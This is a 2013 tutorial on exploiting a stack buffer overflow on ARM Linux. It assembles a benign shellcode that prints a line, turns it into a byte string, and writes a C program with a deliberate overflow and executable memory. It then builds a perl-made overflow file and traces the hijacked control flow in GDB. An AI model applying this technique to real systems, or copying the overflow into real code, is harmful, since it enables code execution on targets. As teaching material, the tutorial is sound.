

INTRODUCTION TO ARM LINUX EXPLOITING

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2013.01.09, 15:30, Istanbul

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This paper is the Linux version of the document http://www.signalsec.com/publications/arm_exploiting.pdf which mentions exploiting ARM on Windows systems. Thanks Celil ÜNÜVER for inspiring me.

The ARM architecture is used in crucial positions; e.g., mobile phones, femtocells, smallcells, SCADA systems, POS machines.

Basic knowledge on ARM, GDB, GCC, C, assembly, Python, and some bash commands is necessary to understand what is going on in the document.

The host machine is x86 Linux (32 bit 3.5.0 kernel), so an ARM cross compiler [1] is required for target machine which is ARMv7 little-endian Linux (32 bit 2.6.34 kernel).

At first, it's needed to write an ARM shellcode for a small piece of code. Let's write "arm exploit." onto screen. Here is assembly codes for it:

```
# C equivalent is write(stdout, "arm exploit\n", 13);
# file: hello_arm.S
.section .text
.global _start

_start:
    # _write()
    mov     r2, #13      # length of string "arm exploit."
    mov     r1, pc       # r1 = pc.
    add     r1, #24      # r1 = pc + 24: address of the string.
    mov     r0, $0x1
    mov     r7, $0x4
    svc     0

    # _exit()
    sub     r0, r0, r0
    mov     r7, $0x1
    svc     0

    .ascii "arm exploit.\n"
```

In order to generate ELF file for the codes above, we need to an assembler and the linker. Here is the steps:

```
x86 $ arm-none-linux-gnueabi-as -o hello_arm.o hello_arm.S
x86 $ arm-none-linux-gnueabi-ld -o hello_arm hello_arm.o
```

Now, the file *hello_arm* can be executed on the target machine:

```
arm $ ./hello_arm
arm exploit.
```

We can obtain opcodes via disassembling the *hello_arm.S* with objdump:

```
x86 $ arm-none-linux-gnueabi-objdump -d hello_arm
hello_arm:      file format elf32-littlearm
```

Disassembly of section .text:

```
00000000 <_start>:
 0: e3a0200d      mov     r2, #13
 4: e1a0100f      mov     r1, pc
 8: e2811018      add     r1, r1, #24
 c: e3a00001      mov     r0, #1
10: e3a07004      mov     r7, #4
14: ef000000      svc     0x00000000
18: e0400000      sub     r0, r0, r0
1c: e3a07001      mov     r7, #1
20: ef000000      svc     0x00000000
24: 206d7261      .word  0x206d7261
28: 6c707865      .word  0x6c707865
2c: 2e74696f      .word  0x2e74696f
```

If these opcodes are converted to little-endian ARM formatted (for instance; e3a0200d --> 0d20a0e3 --> \x0d\x20\xa0\xe3) char array, then the shellcode will be produced. These conversation repeats many steps, so they will be automatized with a bash command and Python script:

```
x86 $ arm-none-linux-gnueabi-objdump -d execve_arm | sed -n '/Disassembly of
section .text:\/,\/Disassembly of section .fini:/p' | tail -n +4 | head -n -2 |
cut -d ':' -f 2 | cut -d ' ' -f 1 | tr -d '\t'
0d20a0e3
0f10a0e1
181081e2
0100a0e3
0470a0e3
000000ef
000040e0
0170a0e3
000000ef
61726d20
6578706c
6f69742e
```

The Python codes below can convert the output to a shellcode:

```
#file: od2sc.py
import fileinput

for line in fileinput.input():
    h = line.rstrip()
    r = ['\\x' + h[i : i+2] for i in range(0, len(h), 2)]
    r.reverse()
    print '"%s"' % ''.join(r)
```

```
x86 $ arm-none-linux-gnueabi-objdump -d execve_arm | sed -n '/Disassembly of
section .text:\/,\/Disassembly of section .fini:/p' | tail -n +4 | head -n -2 |
cut -d ':' -f 2 | cut -d ' ' -f 1 | od2sc.py
"\x0d\x20\xa0\xe3"
"\x0f\x10\xa0\xe1"
"\x18\x10\x81\xe2"
"\x01\x00\xa0\xe3"
"\x04\x70\xa0\xe3"
"\x00\x00\x00\xef"
"\x00\x00\x40\xe0"
"\x01\x70\xa0\xe3"
"\x00\x00\x00\xef"
"\x61\x72\x6d\x20"
"\x65\x78\x70\x6c"
"\x6f\x69\x74\xe2"
```

This Python script can be accessed via <http://enderunix.org/metin/od2sc.py> .

Let's implement a basic exploitable code for Linux:

```
/*
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 * File: arm_bof.c
 * Compile: arm-none-linux-gnueabi-gcc -wconversion -Wall -W -pedantic -ansi -g
           -ggdb -o arm_bof arm_bof.c
 * Hardware: ARMv7
 * Kernel: 2.6.34
 * GCC: 4.4.2
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
```

```

/* this shellcode represents "write(stdout, "arm exploit.\n", 13);". */
char shellcode[] =
    "\x0d\x20\xa0\xe3"
    "\x0f\x10\xa0\xe1"
    "\x18\x10\x81\xe2"
    "\x01\x00\xa0\xe3"
    "\x04\x70\xa0\xe3"
    "\x00\x00\x00\xef"
    "\x00\x00\x40\xe0"
    "\x01\x70\xa0\xe3"
    "\x00\x00\x00\xef"
    "\x61\x72\x6d\x20"
    "\x65\x78\x70\x6c"
    "\x6f\x69\x74\xe2";

void
bof(void)
{
    FILE *fp;
    char fname[] = "file.ov";
    char buf[256];

    fp = fopen(fname, "r");
    if (!fp) {
        fprintf(stderr, "can't open fname '%s'!\n", fname);
        return;
    }

    memset(buf, 0x0, sizeof(buf));
    fread(buf, sizeof(char), 512, fp); /* overflow. */
    /* fclose(fp); */
}

int
main(void)
{
    /* provide execute permission to the memory region of the shellcode. */
    mprotect((void *) ((unsigned int) shellcode & ~4095), 0x1000, PROT_READ |
PROT_WRITE | PROT_EXEC);

    bof();

    return 0;
}

```

In order to compile the file, please issue the command **"x86 \$ arm-none-linux-gnueabi-gcc -Wconversion -Wall -W -pedantic -ansi -g -ggdb -o arm_bof arm_bof.c"**.

The line **"fclose(fp);"** is commented out cause of pipelines of RISC -keep in mind ARM's RISC based- architecture. **fclose()** related opcodes are loaded to PC before **fread()** related operations were finished. Since this paper is just a proof of concept, this line is commented out.

Now, it's turn of **file.ov**. Let's find out the address of the shellcode with GDB:

```

x86 $ arm-none-linux-gnueabi-gdb -q arm_bof
Reading symbols from arm_bof...done.
(gdb) p &shellcode
$1 = (char (*)[49]) 0x10890 /* shellcode'un adresi. */
(gdb) q

```

If we analyze `arm_bof` binary with IDA Pro, then it's obvious that SP refers to the 272th byte:

```

.text:00008518          EXPORTS 00f
.text:00008518  bof          ; CODE XREF: main+21
.text:00008518
.text:00008518  s          = -0x110
.text:00008518  filename   = -0x10
.text:00008518  stream     = -8
.text:00008518
.text:0000851C
.text:00008520
.text:00008524
.text:00008528
          STMFD  SP!, {R11,LR}
          ADD   R11, SP, #4
          SUB   SP, SP, #0x110
          LDR   R2, =afile_ov ; "file.ov"
          SUB   R3, R11, #-filename
    
```

110 = 272 byte

For this reason, the file `file.ov` should contain at least 272 x A + (and address of shellcode: 4 bytes) = 276 bytes long. The file can be produced with a Perl command:

```
$ perl -e 'print "A" x 280'> file.ov
```

The address of the shellcode must start from the 272th byte. The final version of the file must be like that:

```

file.ov
Offset(d) 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000016 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000032 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000048 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000064 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000080 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000096 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000112 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000128 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000144 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000160 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000176 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000192 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000208 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000224 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000240 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000256 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000272 90 08 01 00 41 41 41 41 41 41 41 41 41 41 41 41
    
```

Upload `file.ov` and `arm_bof` files to the target machine and execute `arm_bof` file:

```

arm $ ./arm_bof
arm exploit.
arm $
    
```

Let's run `arm_bof` with GDB step by step:

```

arm $ gdb -q ./arm_bof
Reading symbols from arm_bof...done.
(gdb) b bof
Breakpoint 1 at 0x8524: file arm_bof.c, line 37.
(gdb) r
Starting program: arm_bof
    
```

```

Breakpoint 1, bof () at arm_bof.c:37
37      char fname[] = "file.ov";
(gdb) n
40      fp = fopen(fname, "r");
(gdb)
41      if (!fp) {
(gdb)
46      memset(buf, 0x0, sizeof(buf));
(gdb)
47      fread(buf, sizeof(char), 512, fp); /* overflow. */
(gdb)
49      }
(gdb)
0x00010890 in shellcode ()
(gdb) info registers
r0          0x118      280
r1          0x1       1
r2          0x0       0
r3          0x11008   69640
r4          0x1a0     416
r5          0x4014ebc0 1075112896
r6          0x4014d000 1075105792
r7          0x0       0
r8          0x0       0
r9          0x0       0
r10         0x40022000   1073881088
r11         0x41414141 1094795585
r12         0xfbad2498 4222428312
sp          0xbcd81cc0   0xbcd81cc0
lr          0x4008a4d0 1074308304
pc          0x10890   0x10890 <shellcode>
fps         0x1001000   16781312
cpsr       0x60000010 1610612752
(gdb) n
Single stepping until exit from function shellcode,
which has no line number information.
arm exploit. /* BINGO! */
Program exited normally.
(gdb) q
arm $

```

As you see, PC contains the address of the shellcode which means the target was successfully nuked!

Stay tuned for Android exploiting...

NOTLAR:

[1] Code Sourcery ARM cross compiler:

<http://www.mentor.com/embedded-software/sourcery-tools/sourcery-codebench/editions/lite-edition/>.

[2] How to Create Shellcode on ARM Architecture: <http://www.exploit-db.com/papers/15652/>

[3] Designing Shellcode Demystified: <http://www.enderunix.org/docs/en/sc-en.txt>

[4] The updated version of the document always will be on the address

http://www.enderunix.org/metin/exploit_arm_linux_en.pdf .